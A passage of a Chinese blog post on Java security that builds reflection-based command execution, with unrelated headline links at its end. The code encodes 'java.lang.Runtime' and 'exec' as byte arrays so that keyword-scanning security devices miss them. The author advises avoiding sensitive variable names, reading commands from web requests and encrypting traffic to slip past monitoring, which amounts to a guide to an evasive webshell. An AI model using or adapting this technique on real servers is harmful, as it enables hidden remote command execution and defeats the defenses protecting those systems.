Java安全之Javassist动态编程( 二 )
4 想法实现这里可以来思考一个问题 , 该怎么样才能动态传入参数去执行呢?那能想到的肯定是反射 。 如果我们用上面的思路 , 把全部代码都转换成字节码的话 , 其实就没有多大意义了 。 因为全是固定死的东西 , 他也只会执行并且得到同一个执行结果 。
我在这里能想到的就是将部分在代码里面固定死的代码给转换成字节码 , 然后再使用反射的方式去调用 。
public class test {public static void main(String[] args) {String string ="java.lang.Runtime";byte[] bytes1 = string.getBytes();System.out.println(Arrays.toString(bytes1));}}
获取结果:
[106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,73,109,112,108]
现在已经是把结果给获取到了 , 但是我们需要知道字节码怎么样还原为String类型 。
在后面翻阅资料的时候 , 发现String的构造方法就直接能执行 , 来看看他的官方文档 。
文章插图
使用bytes去构造一个新的String
代码:
public class test {public static void main(String[] args) {byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};String s = new String(bytes);System.out.println(s);}}
文章插图
public class test {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};String run = new String(b1);String command = "ipconfig";Class aClass = Class.forName(run);Constructor declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Object o = declaredConstructor.newInstance();Method exec = aClass.getMethod("exec", String.class);Process process = (Process) exec.invoke(o,command);InputStream inputStream = process.getInputStream();//获取输出的数据String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符System.out.println(ipconfig);
文章插图
命令执行成功 。
那么这就是一段完整的代码 , 但是还有些地方处理得不是很好 , 比如:
Method exec = aClass.getMethod("exec", String.class);
这里是反射获取exec方法 , 这里的exec是固定的 。 exec这个对于一些设备来说也是严杀的 。
那么在这里就可以来处理一下 , 也转换成字节码 。
转换后的字节码:
[101,120,101,99]
改进一下代码:
public class test {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {String command = "ipconfig";byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};String run = new String(b1);byte[] b2 = new byte[]{101, 120, 101, 99};String cm = new String(b2);Class aClass = Class.forName(run);Constructor declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Object o = declaredConstructor.newInstance();Method exec = aClass.getMethod(cm, String.class);Process process = (Process) exec.invoke(o,command);InputStream inputStream = process.getInputStream();//获取输出的数据String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符System.out.println(ipconfig);
实际中运用就别用啥ipconfig和command这些来命名了 , 这些都是一些敏感词 。 这里只是为了方便理解 。
在真实情况下应该是request.getInputStream()来获取输入的命令的 。 那么这里也还需要注意传输的时候进行加密 , 不然流量肯定也是过不了设备的 。
5 结尾【Java安全之Javassist动态编程】其实后面这些内容是跑偏题了 , 因为是后面突然才想到的这么一个东西 。 所以将他给记录下来 。
- 纠结|硬杠红米Note9Pro?iQOO Z1跌至1575,对比之后纠结了!
- 王兴称美团优选目前重点是建设核心能力;苏宁旗下云网万店融资60亿元;阿里小米拟增资居然之家|8点1氪 | 美团
- 长安|长安傍上华为这个大腿,市值暴涨500亿!可见华为影响力之大?
- 巅峰|realme巅峰之作:120Hz+陶瓷机身+5000mAh 做到了颜值与性能并存
- 蛋壳公寓|官媒发声:绝不能让“割韭菜者”一跑了之!
- 现状|程序员现状揭秘:平均年薪20.36万,Java人才需求量最大
- 看过明年的iPhone之后,现在下手的都哭了
- 直播销售员|石家庄桥西区插上“互联网+”智慧发展之翼
- 精英|业务流程图怎么绘制?销售精英的经验之谈
- V2X|V2X:确保未来道路交通数据交换的安全性